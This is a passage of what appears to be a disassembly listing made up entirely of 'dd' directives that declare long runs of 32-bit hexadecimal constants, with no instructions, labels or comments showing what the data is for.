		dd 389AAD02h, 0D79E7C9Bh, 8F9C12AEh, 23536475h,	0C84DA906h
		dd 16A110D3h, 9F190354h, 2E38C2AFh, 118468EAh, 3961052Dh
		dd 0E65A68E1h, 3E231962h, 0CC56ACF5h, 0A99D205h, 5C327B45h
		dd 907A3F9Bh, 595319h, 8558635Ah, 0DBF0D67Ah, 44F8C216h
		dd 7E47D8DAh, 5B3F905Ah, 0FD463D2Dh, 9AD1D9FEh,	0DBA454D4h
		dd 6D1411BAh, 0A5EA8629h, 858E40F7h, 74160BB9h,	0F624DB39h
		dd 138A503h, 12C32478h,	0FAC6DD8h, 0C17AE620h, 7FD6ACEDh
		dd 0C72F76BBh, 82F88CACh, 686E9623h, 2C1C1662h,	7C7D9B1Ah
		dd 71CA9D96h, 30A20E9Fh, 249DABD6h, 0C565EA58h,	0E3AA1580h
		dd 0A8A5E5D6h, 6C07D55Eh, 0B0895087h, 16222676h, 9C1C5AB7h
		dd 0E2373F2Ah, 53B2B57Dh, 0B414271Ah, 3A61880Ah, 95F1BEFCh
		dd 0D5764652h, 7C05B4C1h, 0D7E799D6h, 0D728B0BEh, 0AEA4759Bh
		dd 5633B639h, 6DB57B05h, 19C1C46Fh, 3138A5C6h, 4FD1B015h
		dd 6FE3E01h, 1BF7AC85h,	489DF407h, 51E8A77Dh, 68A1EE72h
		dd 0F9692556h, 1E68F382h, 8D69427Ah, 583726B7h,	1D9CD10Dh
		dd 694C188Bh, 4D2D454Dh, 4E1E84D7h, 9224D514h, 0EEDAB0DEh
		dd 5A0DC70Bh, 0D5D137A7h, 14ED8CCFh, 272F9ADFh,	0E79A17E7h
		dd 15D70A06h, 5833ABEAh, 65A158A6h, 0C7F1B04Eh,	0F47CC7FFh
		dd 81B31384h, 4F4F915Ch, 7293980Bh, 3A13D5C8h, 11D4550h
		dd 6BC73EA3h, 0E5C419EAh, 61CC5386h, 0B38DF12Bh, 0AF134F5Dh
		dd 0BC302DD1h, 0BBE4EC38h, 21B17DA0h, 5978F806h, 0FDA6C839h
		dd 5B31F5F7h, 0C911AA25h, 95B2F93Fh, 0EE5D205Fh, 7552357Fh
		dd 2640B768h, 649FC633h, 31097758h, 8D62BAF5h, 773F2BF2h
		dd 700DE16Dh, 20D8C223h, 725583B7h, 0BA4D636Ah,	548B6C01h
		dd 9F2590DDh, 2FB43D3Eh, 2CFC057Ah, 0C8F71F6Ch,	0A55115DAh
		dd 80EED887h, 0DE66E5EEh, 0C3B976D5h, 6FFFA24Ah, 6112BC6Ah
		dd 3CC3539Ch, 0B72F7E4Ch, 0DCCEC7A1h, 0BBCF0906h, 0F175F2Fh
		dd 23A7B620h, 0FC022C5Fh, 5F9A88Ch, 2DCBD090h, 0C3ABA8EEh
		dd 8D5CC455h, 0C96D658h, 12E7058Dh, 7A982688h, 0BADD027Ah
		dd 0E3DE3946h, 6052E755h, 79458F9Ah, 0E72A8CC2h, 0C4DBAB20h
		dd 0B6595D63h, 0D366FD20h, 0E66FBB4Ah, 2A6454D5h, 19F9893h
		dd 7DA491B3h, 7A1BFF92h, 5B5D48CEh, 74868349h, 96F2E83Bh
		dd 0ADFEC5BEh, 0CB455F6Eh, 0C3BB7DD7h, 0D8D77E03h, 0DB0ABA56h
		dd 1CE0D9AFh, 3A9A4435h, 8891709Ch, 7EFCCB0Ch, 7FD4AA7h
		dd 0B5E8E343h, 7097286Ch, 1D7D7A3Ah, 0AAE82C3Dh, 7DDCDBD6h
		dd 0AA2BE0D3h, 6200135h, 34287A81h, 37953385h, 15F78D1Fh
		dd 17F80B7Eh, 2A158D97h, 7D82E16Eh, 0EDB6B288h,	6F1032B2h
		dd 0DDED1DC3h, 0E1AED745h, 0C2E84254h, 0A562739Bh, 0A0BBAED4h
		dd 12C0F58Bh, 26584183h, 133265BFh, 65439936h, 4675C6CCh
		dd 0F3849A33h, 47F666D7h, 0A8805BEDh, 500ECC15h, 70FE7BC1h
		dd 7DD222A0h, 75D4097h,	9107643Ch, 9390F6Ch, 0E2FBEEEBh
		dd 0ECC443D6h, 55DBCF15h, 0E1323A87h, 0EBB5B43Fh, 9D5E56F1h
		dd 0E7991E6Eh, 85FBB867h, 872516FBh, 0B4314C48h, 0AA9829A4h
		dd 0E20CE0DBh, 477BF2EFh, 860971A3h, 14A6ACBh, 0ED20C4CBh
		dd 50195D2Dh, 471009C0h
		dd 0D0EDE95Dh, 838D2DFCh, 0E141E37Ah, 0B515334Ch, 0CA1AE85Bh
		dd 0C1DB803Ah, 3BB2412h, 3E5C8FA6h, 8F59F784h, 5335C1E1h
		dd 56533761h, 7E623C3h,	0C5740AD5h, 0E4EA523Bh,	32E1EA40h
		dd 20E64BAEh, 8CFCCF6h,	0CC88272Dh, 46AC2364h, 11370427h
		dd 5C19C2CAh, 89E47E80h, 70C882ADh, 5899120Ah, 0B4221E2Ch
		dd 0EFC56307h, 0AB2E3E91h, 3A5F773Ah, 0AA3F9689h, 49247BBBh
		dd 6F4723A2h, 69F9DF42h, 531E1F00h, 52BD9BA8h, 43594E77h
		dd 0EB732062h, 0B179626Bh, 57A1711Ch, 0A184478Eh, 65855D82h
		dd 3E40918Dh, 0C6567931h, 62EA22E0h, 0D7280585h, 3B87DC9Eh
		dd 0CA4CB89Ah, 0C7F48B2Ah, 0BF7CF8C2h, 32B1F32h, 74185CB7h
		dd 547D7647h, 2191354Dh, 1DB8F2D6h, 70461384h, 9439B73Bh
		dd 55E4031Dh, 94D9181Ch, 585D444Ah, 0D5320F22h,	851CB7A8h
		dd 0B567F0CFh, 49CBA38Ch, 347F4902h, 3364B86Dh,	0AD6DB9EBh
		dd 0ACDC3DA0h, 0CC8E93BEh, 0E8BEE563h, 0B02E600Dh, 9ABBEC91h
		dd 122E1F85h, 0B8B5300Dh, 6B131A66h, 4BB1410h, 7D1C1A94h
		dd 54BC8006h, 0A1C2EE27h, 0FD0ED149h, 0CB53074Ch, 502233ECh
		dd 5A2C891Dh, 28205573h, 1ADC1E5Fh, 3AEF13D6h, 7606900Eh
		dd 0C1419228h, 4D858E1Dh, 0F4639738h, 5E90EB5Bh, 0AFABFDF3h
		dd 66C8DEEEh, 8F8A3BDh,	68909BA5h, 868D230Dh, 0C9C0DAEAh
		dd 3EF175D4h, 47A1B818h, 0F078C135h, 0CC22ECF1h, 8B939111h
		dd 76874D47h, 55D0D6C4h, 85AB2A8Bh, 0FD999BE2h,	0B36AA2E2h
		dd 6690EB81h, 6089F485h, 9DFFC02Ch, 0FFF6B607h,	99CADFADh
		dd 35A7E32Eh, 765042FEh, 0E85EDABEh, 972EA685h,	6BE7D186h
		dd 23A17B1h, 2C89AB51h,	0A753A801h, 0CDC528F9h,	30C5BD51h
		dd 8C7ED39Dh, 2D37A7A3h, 53D5E058h, 0FD7F1AA2h,	0D61F5515h
		dd 0EE0FBDD5h, 975EA421h, 0E20AA0A6h, 0C20D4AA7h, 0ADC5DB93h
		dd 0F9AC9C5Bh, 8F52CE1Ch, 859012Fh, 75C99B7Bh, 365FF1DEh
		dd 65F63811h, 0BDECD851h, 0F0446CC9h, 43AD3FCh,	6792D168h
		dd 695B4DDAh, 1B4DE05Eh, 0C5B95F2Eh, 0E1CD0025h, 0C4D8F635h
		dd 0AFD56A2Ah, 0EC89BFB1h, 3FF1BC11h, 0F35109BDh, 81D64537h
		dd 14ED5E4Bh, 0DFAEA226h, 0A179B452h, 1C93A335h, 269DF6BBh
		dd 3AC445DDh, 0C2568596h, 793CAADCh, 0A7F2C9E5h, 74CDD89Dh
		dd 87D33F51h, 47B0CE2Dh, 0D2BB7602h, 0DB7B00F5h, 0FC6C0D76h
		dd 0F58DDFB6h, 11454F90h, 0E037139Fh, 0C71A6F14h, 0A3463289h
		dd 794F1CCFh, 0F3D27CF6h, 17E5BBCBh, 3E8A29CAh,	35A7E32Eh
		dd 765042FEh, 49AFF1F6h, 0A6191079h, 26F1685Ah,	0EB66D8C9h
		dd 9894FF44h, 0A5BEFA31h, 7E6EAE6Fh, 6FF1F447h,	86310C15h
		dd 0F24FDC96h, 53D5E058h, 0FD7F1AA2h, 197C323Bh, 0CA18E940h
		dd 8987BA3Bh, 97B5D025h, 55076A4Dh, 52690AEFh, 8F5AAE30h
		dd 9C5045F0h, 3A19993Dh, 4D91AB77h, 92A44A5Fh, 65281480h
		dd 0E2E33809h, 19CB202Dh, 848B1A31h, 0D4D7D36h,	96AD4Fh
		dd 589293E8h, 0D7A93E9Ch, 8D1BE531h, 0F598DC00h, 9C066E83h
		dd 7D490CFAh, 995BE2CAh, 0E612B96h, 4643841h, 9DE5B348h
		dd 0EB69F6AFh, 920DE346h, 5D4A1D39h, 0B36DA1DCh, 71D40D09h
		dd 1E5C74ECh, 553ADADCh, 0DE3A2580h, 0A76A917Eh, 43F355CFh
		dd 2EF0AB0h, 27CB88F9h,	0C8D47506h, 0D78C62A6h,	0A75D166Dh
		dd 0A4ADC8CAh, 19A8798Bh, 0A6FC7A2Bh, 7FA91213h, 0AE8FBA9Bh
		dd 331956A4h, 86535C09h, 0E051D74Dh, 738FEBC3h,	12B02B20h
		dd 0D8BF8BF6h, 0CDE46D7Ah, 4FB3C2DBh, 0B1084AAAh, 0D66A0601h
		dd 7F712FFFh, 0C6CF734Ch, 6009A42h, 0E03B305Eh,	2518B72Dh
		dd 0D2619B7Eh, 0F7BEDCD0h, 6B9A494Ch, 0D95EC212h, 2B0F582Eh
		dd 0ED3D9CDBh, 28507F9Ch, 5429DD73h, 3EFFE02Eh,	0DEEA7626h
		dd 47622A62h, 726FC8E5h, 70898977h, 233ED0D6h, 0EC90D6E3h
		dd 0BCD8E6C0h, 79D1FA63h, 37CD4911h, 61639E01h,	125597EFh
		dd 40C236BBh, 997B812Ah, 869CA295h, 51B4CA2h, 46392BAEh
		dd 1CFA9854h, 0E50E65A6h, 7D7E051Bh, 0B2A478BCh, 74FED46h
		dd 9398765Dh, 0FA7ECA5Fh, 2D86822Ch, 36E666AAh,	0B4FE589Fh
		dd 70B2D6Eh, 0EAEBF3D3h, 38146358h, 4EFEC698h, 94FDBD28h
		dd 90E0ED4h, 0D96F2192h, 59FD0D02h, 8DE8F3CAh, 28059D58h
		dd 0A374F6BFh, 0D5DA8D89h, 0FA37B9F3h, 3E8D7A74h, 9B238C3Ch
		dd 2EDB2478h, 1548B87Fh, 6DFAC02Ch, 0F0D7F74Dh,	2FDDDE7Dh
		dd 95702DC7h, 4F5D8D67h, 64DA0962h, 0D93FFD61h,	0B738118Dh
		dd 63121666h, 0DBEF4F65h, 8192B68Ah, 0EC586CB0h, 0DBADB6F6h
		dd 9B47054Dh, 25D0DCFFh, 0F2F36901h, 778FFEBDh,	0E3EC682Ah
		dd 821BFE81h, 0E094C367h, 932517D7h, 0BD7CAACBh, 6C53DF32h
		dd 0AC4B5E85h, 8CE68614h, 378812F7h, 0C58E861Ch, 854D62F1h
		dd 8D1C606Bh, 14E9A97Fh, 0FA6B77E1h, 31E0F774h,	477EF841h
		dd 742F1297h, 1E01E964h, 162B3E4Fh, 0A72ABFC7h,	0C85BA483h
		dd 354E26E0h, 0A71E8228h, 252E009Ch, 0CA23360Ch, 558727A1h
		dd 422274DEh, 8FDC3F74h, 0BAC482E0h, 0A43D4FDDh, 71933FAEh
		dd 14BD742Ch, 0E7006A24h, 456EABD2h, 79EAA986h,	586045CBh
		dd 4D67C059h, 0DB9807DFh, 0F4F2B6E9h, 42B4FC2Eh, 50DC85C1h
		dd 4E7F79CEh, 0EF0FE41h, 0A5AC263Dh, 7A50C1CCh,	0EB52A275h
		dd 0F3E4DC2Bh, 0FEDB07AAh, 0E76B961Ah, 6E1A5D57h, 0DE1D4AA8h
		dd 0D70833ECh, 0A89E628Dh, 9D469688h, 84D2B42Bh, 0CD8AD31Fh
		dd 8298390Ah, 0A4B8B618h, 1DFFECE8h, 0A71754C3h, 6ABBEE76h
		dd 0CCF958EDh, 5AF85A1Eh, 81A2BB4Dh, 2C228F54h,	0E8B53DEAh
		dd 3080BACAh, 0FC3DF906h, 69E23CFBh, 90B2EABDh,	0A49B250Dh
		dd 76A541C1h, 0C4E52A13h, 5ABB6048h, 0EAFD95D0h, 47842220h
		dd 732861Bh, 8F62181h, 0E4BA852Fh, 51D1722Ah, 9AFBD023h
		dd 8F58CB60h, 0C32B582Ah, 4703594Eh, 5087326Bh,	0B9F95AD4h
		dd 0B36FDF98h, 65AD631Ch, 0B02AC22Ah, 0F8F96A5Bh, 0FFBC9AB9h
		dd 73560A7Fh, 675323A1h, 7E21240Ah, 0B9CB5760h,	67C17244h
		dd 2DE5E5EFh, 9B15F644h, 450F6EA6h, 0A3420AFEh,	0AF81767Dh
		dd 54407DE6h, 0E6F392F4h, 37701C0Ch, 0BC031576h, 0FDDCE959h
		dd 667CFCB0h, 11970A3h,	37D9296Dh, 0E553259Eh, 2EBB9558h
		dd 122349DAh, 0D7E832B0h, 0AEBFBC7Bh, 4720387Ch, 1DEB7A0Fh
		dd 0EF244001h, 2A22BCBDh, 0A1C89A0Ch, 6FB31DA0h, 8BBC801h
		dd 2E6118A8h, 0F5948387h, 7BD4B50Bh, 0F3A3FD53h, 5E71AF6h
		dd 8D42FC0Ch, 48F1DB96h, 56E8F807h, 3EAB9302h, 4DC337D8h
		dd 0ADFC508Bh, 232DDCDAh, 6C09A1CEh, 7547F625h,	538F5041h
		dd 7E784E06h, 0FD852056h, 0F075F60h, 70320419h,	0A9A8BCE7h
		dd 0E4183AFCh, 0BB05C310h, 0FDC5A453h, 716BEA54h, 527A727Fh
		dd 79CE284Ah, 0D9305DDAh, 0E10BA6E0h, 6AB2EBD8h, 0FC94ED75h
		dd 62C59DECh, 0A1E0D0AEh, 6B4295D2h, 489BC5F9h,	0DEE98D40h
		dd 83692F8Bh, 0B70826A0h, 1A4DF22Fh, 0EC3631CDh, 0D84EF1F4h
		dd 5D589226h, 1FF5B8A8h, 1DCCD76h, 28672D57h, 0ADB618FAh
		dd 7EBFC0D3h, 0ED9E5098h, 1E42EC2Dh, 73742300h,	0F3636844h
		dd 9718AFB9h, 5444586Bh, 0B93A6180h, 25DED81Eh,	0B60C9944h
		dd 53802588h, 13E66435h, 0F547F0DAh, 0BAE28542h, 0B74A3EF3h
		dd 2760D43h, 89C88B76h,	9C5FC4DAh, 203CB3CBh, 0B6BA85CCh
		dd 76D30098h, 9A0F47AFh, 3AFF122h, 9F0B1AD5h, 15E92206h
		dd 189D4F55h, 0AE83ADF5h
		dd 0A7CADA2Bh, 3990C14Bh, 24C0A80Bh, 2D9640AFh,	0F4B06165h
		dd 77FC32BBh, 0DA446CB6h, 0EA66A282h, 0B1F67619h, 190E2D3Dh
		dd 53A0C86Ch, 26788F5h,	5D515895h, 0EA141A92h, 0C9D449CEh
		dd 6C548D14h, 42946396h, 980A77FBh, 897F7181h, 9B17470h
		dd 0BECAD477h, 391B85A6h, 327BA693h, 60CCACEEh,	7429629Fh
		dd 59817924h, 2F3DCFCEh, 7B7FC1A0h, 0EDF04719h,	42D8B7FAh
		dd 2DF8B2E1h, 74F245E5h, 31B84333h, 0F4075A67h,	19573A3Bh
		dd 0E1248FBEh, 60F7620h, 581DF116h, 9053B9E4h, 24940F18h
		dd 0EC80EF9Ah, 9BC0665Ah, 269192B8h, 0E65613E8h, 33AA2B3Eh
		dd 0B89832C9h, 0D096AA5Bh, 66D20C70h, 766779E3h, 9D8BF2D8h
		dd 6542B579h, 0AE9FBE50h, 72AFB5A0h, 9E697F0Dh,	0A67F84Eh
		dd 1253E051h, 85CEC5C6h, 4E2AB8C0h, 0EF45848Dh,	3365B17h
		dd 4973A8E1h, 0B3C7848h, 0E37F8911h, 0D2CAF09Dh, 0EB988A41h
		dd 0B5027D22h, 0CCEAD2C9h, 6376755Ch, 8F89F94Ch, 0C6D9116Ch
		dd 287B35C7h, 0EA7A1658h, 0D4676394h, 2CD8078Dh, 0D23F83Dh
		dd 4CBBBEE4h, 1D6D739Bh, 5C0D7688h, 0F9C28265h,	0A9EECCCAh
		dd 0D24A3AD8h, 0CA679156h, 4B33CE2Fh, 95050B36h, 3A3E3A16h
		dd 0B9C78872h, 0FDF7DBB4h, 0B6CA1450h, 40C1895h, 0D65BCAD0h
		dd 9A350B39h, 0C857FCA2h, 6C1E5DC2h, 667779A6h,	6EED55A9h
		dd 0CE04F9D6h, 9038095Eh, 5133968h, 0DEFAF1AEh,	0F5BEECAEh
		dd 67D752DFh, 3CBB8731h, 82EE93C9h, 4FCBBB9h, 5735224Bh
		dd 319759FAh, 0A97F7090h, 6DDD7BBDh, 0EB5290CBh, 0E678E6FEh
		dd 0EC220C9Ah, 0DAAB7F47h, 0E2040FBBh, 3DC036DCh, 5BAA6D4Fh
		dd 39416539h, 0A6EE17A6h, 0A860B336h, 6D52257Dh, 1E10CB49h
		dd 764B5527h, 76881C7Ah, 1017BB73h, 8A0400CFh, 793663C3h
		dd 371DF55Ah, 0E39270B6h, 0D9A74CF0h, 0B8873FA9h, 715A1230h
		dd 5EE3E2CCh, 0D39BFF88h, 201BEAA9h, 885631C9h,	7A517AC6h
		dd 823C7B96h, 2582D70Dh, 0B94C5EC9h, 0C29B8C58h, 41A70715h
		dd 0CDEB08F7h, 0E7DB0A74h, 400AE1Dh, 0E408ACE2h, 2000B5F7h
		dd 0F714C799h, 97DB662h, 0BFB0F371h, 0C3C68543h, 9CB9F7A6h
		dd 6D3A5BA0h, 66FF54h, 0D05F9C3Eh, 0CB27C8BFh, 331D39F1h
		dd 6ECEE3F9h, 0D4212326h, 0CFCE726Ah, 93DDA5EBh, 9BEEE6A0h
		dd 2C5CD20Eh, 32E85392h, 14BBFAAh, 0EE7FD469h, 62D73E7Ah
		dd 95EEB8FFh, 0D8729104h, 9CB76B78h, 0DDFAF4A3h, 9A2550CFh
		dd 0C891E159h, 8FD02B55h, 0D6ED7C81h, 0FF9743Bh, 2E4C8B96h
		dd 589039B5h, 579BA24Ch, 0D569B11Eh, 2761B2C0h,	0B9B6E342h
		dd 9877F06Bh, 73C6B477h, 2DB395BAh, 0B3735406h,	0BE91ED59h
		dd 0B6207EA1h, 0C5EF891Bh, 72C9EADAh, 72771E51h, 3EA656CFh
		dd 5CC6E1E8h, 72C3CA82h, 35854F4Dh, 17D757D2h, 4E346C57h
		dd 0CDA43D1Bh, 51925974h, 0EE967BAAh, 0B066B177h, 96BDD20h
		dd 89AD0E11h, 20E51E3Eh, 601E1729h, 21409A19h, 0D68ECDCAh
		dd 0EA69162h, 0A6F47791h, 0F7EC9E31h, 4D5300DEh, 66393845h
		dd 0DCB909AEh, 7E66F454h, 0BB2A893Dh, 0F719DB58h, 8DC466E4h
		dd 0DFE65EB1h, 0C6584D03h, 0D5E4325Fh, 555D810Ch, 5685F0C4h
		dd 0EB2E60D4h, 0D0302E95h, 0F8F95523h, 6160F642h, 3AE85CFDh
		dd 0C1C15683h, 0C77098BEh, 0FC5D159Eh, 0B646AB86h, 0E4275331h
		dd 0C4D062BCh, 47984E98h, 0C6CE702Bh, 0C4675C41h, 2B91297Ah
		dd 24DDFC73h, 0BCD10FF5h, 0CCC22575h, 0C0C5B713h, 0DBADA3A4h
		dd 0E0CBD7B9h, 8193F2CCh, 62E7DA24h, 0C825182Bh, 1708C5FAh
		dd 0AEF11CAFh, 10FF866h, 0BE88B854h, 813706E5h,	2341B217h
		dd 0A2193502h, 6E7F1683h, 6FEDA030h, 2311F28Bh,	0FE5A9117h
		dd 0AFC2AB25h, 6C803E29h, 0C84FB542h, 136EB35Eh, 97F7657Dh
		dd 0D8B7A24Bh, 0AF491891h, 0AE5F5597h, 0B7A73294h, 62C78472h
		dd 40160B18h, 0C4EF7DA9h, 1F3CA6E5h, 0B98DBD4Ch, 1B0EED88h
		dd 4C362AE6h, 7B4D51F5h, 0D8135DD0h, 140E47B4h,	83F6CD34h
		dd 96D3333Ch, 0F59A51E6h, 0BBBD8772h, 3DC8160h,	5354697Ch
		dd 83E4B077h, 6B8B19F3h, 0F81DD169h, 0BB1DED7Fh, 4E7163D2h
		dd 0EB484054h, 35303587h, 0AB30E6Bh, 4D73E6A3h,	397450EDh
		dd 9C3E067Ah, 0CA0BB594h, 1FBCEC8Eh, 0D41B081Dh, 8DA4CB81h
		dd 0CFA165C0h, 4506FDE1h, 67E22CBDh, 379CFB96h,	0C9EB0B2Fh
		dd 0C6B656Ch, 0F20F8266h, 0AEAC20E2h, 563F7547h, 0DAD78FC5h
		dd 2C2BBE20h, 511218BDh, 41E3268Ch, 7AFCEC00h, 94067F8Ah
		dd 3E48C12Eh, 9D1B8380h, 260CFD1h, 0F56CFE03h, 0E9C36968h
		dd 86F19EE3h, 0CB17166Eh, 14E963E8h, 19A99F63h,	412F75EAh
		dd 0E7F7C26Fh, 0BCF00387h, 0B8739458h, 114180C7h, 0C0405598h
		dd 0D4CF9702h, 80809A97h, 6D7F4406h, 0FFBA3C66h, 8DE45478h
		dd 55FB2F6Ah, 4717DEE3h, 3981A6E6h, 4A4D8BCCh, 0FAE151BDh
		dd 384DF6D1h, 5F73BC54h, 0F670BEFh, 0AC136F16h,	0E18330DAh
		dd 17D61105h, 69C782BBh, 3098E412h, 9933FEFAh, 242EFA4Bh
		dd 204510BBh, 76DC65E2h, 4D8BF0D2h, 0DD5F90F3h,	0CB4BCB9h
		dd 0BEF3868Eh, 929ABF42h, 788027A6h, 0C2288339h, 0F9E300CAh
		dd 4BCA7222h, 0D8D56B41h, 0E48F3503h, 0A4D4BACDh, 6B725A0h
		dd 7248392h, 0C4C27926h, 4EBC3807h, 0B6D4C72Bh,	0A03DD898h
		dd 0AB450F2Eh, 7BB16F2Bh, 6AD35172h, 3A73DD32h,	71D2152Eh
		dd 0CFF4D209h, 8A7861E8h, 0AA43334Eh, 2E2E6EBEh, 0D84589AFh
		dd 0FDA1EF9h, 65EDB8D1h, 2EAB6AA2h, 0C18E4256h,	0DFB53139h
		dd 8532E359h, 1AFD25BFh, 32DE076h, 89608267h, 0D56087D1h
		dd 0A48D2294h, 0E4DC82B9h, 373A796Eh, 0C52D0A48h, 381CB3Dh
		dd 23BCA0Ah, 0E8CF1271h, 398AC111h, 6E1F87E8h, 0C498B2B8h
		dd 9C38758Ch, 0E0458722h, 6055C53Eh, 0FD021938h, 9C68DCBAh
		dd 0F56CF05Ah, 0C44357F6h, 6826AC52h, 0C2D32D79h, 54AEFCAAh
		dd 0FD795523h, 59D43069h, 9B3AF378h, 0FCDA18C4h, 0F28FE22Dh
		dd 2032DF17h, 64CD2C6Fh, 0F1F41FC9h, 0FB05B821h, 7418F666h
		dd 0CE53A0Ah, 208A323Eh, 0D8539454h, 43A3E319h,	3D7F7346h
		dd 42B77CFDh, 26AB4A06h, 93634126h, 8AE2AC24h, 2A3A92AFh
		dd 565CBD6Bh, 0B8761B46h, 147765BAh, 0CB8861CBh, 0BB4481D6h
		dd 378B3A27h, 0C2F69DD7h, 0E75F147Ch, 90037819h, 205A56CCh
		dd 0E56921DEh, 323FD682h, 6DF21BBEh, 0BE32451Eh, 0C2DB5536h
		dd 9BC35A91h, 8BD9A17Ch, 0F1567B62h, 0EDC82495h, 6031E10Fh
		dd 53DAE762h, 0E8B49951h, 8C4B7CD1h, 661686C4h,	0DCB8FE81h
		dd 0CEE366F0h, 131D3522h, 0EEE06071h, 0B781A947h, 0A59C79D5h
		dd 0A71A8B30h, 7FF71CC8h, 5EED9F63h, 63F2084Ch,	72CCF009h
		dd 446A72CDh, 926F26Ch,	4EC3A5E3h, 0E4D13898h, 653F8035h
		dd 0F5EBD3A1h, 0B1E83ED1h, 291207DEh, 26D5F718h, 0F88E5E3h
		dd 1FDE0CA2h, 0D2C5C2Ch, 6598F325h, 0C667218h, 729AC3A2h
		dd 2B2121A4h, 0EE93C8CBh, 0B235F13Fh, 0FDDFFA37h, 0F8594E73h
		dd 660C764Dh, 0F43DE08Bh, 5F04892Fh, 0D2E2BEEh,	44A9E3h
		dd 0BBFE6338h, 97CF240Bh, 0A12F43FCh, 0C3F40B17h, 61A62476h
		dd 0BF624161h, 0C645D805h, 0E7FB615h, 0D2CC72FBh, 0E0A98780h
		dd 67557DB3h, 426314E1h, 3A2748EEh, 0F699D48h, 33EED5AAh
		dd 5BC1CDCDh, 99F216A7h, 1F83191Dh, 4CDDD516h, 0CA0832EAh
		dd 88D854F6h, 2AA47AC0h, 64EFB1E2h, 0C6DA2101h,	0F8C779ECh
		dd 1B26CB1Bh, 67368F98h
		dd 99B4D22h, 0DF6DD8Dh,	5E83B01h, 0E1AF6D9Ch, 97121716h
		dd 0B2A8EE5h, 78B72096h, 60511FABh, 0F3904AAFh,	0D5EAF927h
		dd 0B6CE3392h, 0DEED50D3h, 0D45473D3h, 24B479BBh, 48BDA2CDh
		dd 84F5FBB5h, 0B24AB14Ah, 0C2548625h, 0ED95413Fh, 5E3D4DFh
		dd 421407ECh, 0A8FC2235h, 86A0D99Ah, 0BD9A849Bh, 0C80DA228h
		dd 8CEA000Ah, 0BE7CFADFh, 68DEB0A8h, 0E849BB86h, 24800E5Bh
		dd 0B403C89Ch, 0AD76C8B5h, 51075791h, 0B561C0D1h, 0AEC5E007h
		dd 0E957DC8Dh, 0C01279D9h, 0C834D760h, 0A8A48F84h, 0D9835AECh
		dd 895862C0h, 1D5E74A1h, 1CAAE91Dh, 10FB94A6h, 800B7385h
		dd 0D319DEC8h, 0C2F6A51Ah, 0D483EE0h, 66404AE8h, 67791D45h
		dd 0F40559E4h, 710E2B9Bh, 2675A72Dh, 0CB26DDFEh, 215612Dh
		dd 1EF62EF6h, 0C476E015h, 14D87DE7h, 487CC52Bh,	0B483CEEBh
		dd 8E8F1714h, 83201E1h,	8CFE7C67h, 56283272h, 353EBE17h
		dd 0CBFDB7D9h, 0AA93743h, 0FAE56A33h, 0CE7F75DDh, 0F2AA1D82h
		dd 0E57BD83Fh, 3C7DC578h, 3113DC7Ch, 74931DEEh,	777E3D0Eh
		dd 32277DBCh, 0E88D26B4h, 78C2163Ah, 0F68EA3E2h, 0FCBB4C67h
		dd 61EBA5FBh, 78789DE7h, 0FD64BAA3h, 3C6060FEh,	68453129h
		dd 105CE430h, 0BFF2FCE6h, 457F959Ch, 0D987CB8Ah, 0E7FD6C47h
		dd 24B73B41h, 284F06BBh, 0C17C86FCh, 0E2ECBD01h, 9CE66AECh
		dd 26F9D304h, 3E47EC06h, 71406D69h, 5B50C800h, 4CC4F8B0h
		dd 887B19Ah, 0B7F8831Fh, 3D4A754Dh, 61E7CC65h, 20715FC4h
		dd 61713247h, 0A8215928h, 1DADF2A9h, 0E7DAD48Dh, 0E2717E1Eh
		dd 332D6906h, 76C306A7h, 92447600h, 1ACEFB6Bh, 28872DB6h
		dd 381238BFh, 0C2759548h, 0AFA67AC5h, 9A3031C9h, 0A840054Ch
		dd 803ACEA0h, 1652B8DEh, 4AEA78DCh, 6F51B6Fh, 4D11EDFAh
		dd 3512FF34h, 7270F85h,	25BFD8F7h, 0C85E2E0Eh, 0B9FD25Fh
		dd 77B672D7h, 0EE72F11Fh, 0A852E56Fh, 53609141h, 61286953h
		dd 1519A773h, 1F410DB6h, 0BAEFAF13h, 0DFBF7B96h, 29B4A326h
		dd 0D2D9A72Ch, 83A35C23h, 10C0E944h, 0A0134EA9h, 0C79BC7B6h
		dd 83ADC99Ch, 0A12DED7Eh, 1C88C23Eh, 4A1121B3h,	3A72E912h
		dd 30B869DEh, 52328FD8h, 9AF32256h, 3434BCC4h, 52C368C2h
		dd 38F4324h, 0F6508282h, 63D20CF5h, 2D9CADEEh, 91FE5E96h
		dd 3F32705Ch, 7696F17Ah, 27083CBEh, 0BD176F45h,	0AEB26BA1h
		dd 69C18696h, 21FFF83h,	433E0DC5h, 0B2F958E8h, 0A387ED6Eh
		dd 0ADCECD6Fh, 0CEC060D7h, 75561FEDh, 0A5A4C3C5h, 4E12D317h
		dd 66A5D82Bh, 0A83BE29Eh, 45C6E295h, 2877E718h,	5D0A4DC6h
		dd 1A8E5763h, 7115EB15h, 684E0EFFh, 71159DA0h, 0B7EDFD4Fh
		dd 4EA26D49h, 6BFAC886h, 9B64C9B8h, 0EFEB8548h,	460EF94h
		dd 0DB1DEBBBh, 9F0DFEEEh, 582E5CC6h, 0BAA82135h, 0E620E268h
		dd 78C04C70h, 0C06E89DCh, 7892CD84h, 0C786DD5h,	425738E9h
		dd 9419BF2Eh, 85F421D6h, 0A4EA76EFh, 1E1EC7DBh,	8961E9A6h
		dd 22622DBh, 0FB818DB8h, 0FD249628h, 0BE82575Fh, 0C04F658Ch
		dd 53A98686h, 0E41FA27Ch, 62214139h, 0DA7DB7A8h, 0FC4F16F1h
		dd 67F680A0h, 0D69216BAh, 853783E2h, 0FAF18B55h, 538BA65h
		dd 0FAF716CDh, 9364F269h, 0F8995F6h, 0A0338AC4h, 0E1622696h
		dd 0EE8806F2h, 3F314D26h, 543FB43h, 9ACE793Eh, 0C840BBFh
		dd 271A369Ah, 752486C6h, 8E40A9E7h, 0F5B73BF2h,	0D85836D6h
		dd 8E2023A7h, 0B4EF3755h, 0E50047BCh, 0AC5038FCh, 0AB30C4AAh
		dd 0F0577E06h, 0A2EC558h, 9F60A799h, 0B4A7E1C9h, 0BE098EBFh
		dd 7A7E1E35h, 0C1FF18Fh, 0F63976ACh, 81861C4Ch,	34BC9C0Bh
		dd 934EB294h, 0D6E92A0Ah, 9767BBB2h, 45D0E82Bh,	7A8CE716h
		dd 0C9BFECAAh, 2D3AF53Ah, 0D27A866h, 0C91796FDh, 4F6A44FDh
		dd 3FC3EFD8h, 0E9FB1923h, 0B90B1Bh, 0DE62AD2h, 652B9215h
		dd 9CA2D02Fh, 0B813FE54h, 0B6F39A57h, 95DBCBE7h, 0E068154Fh
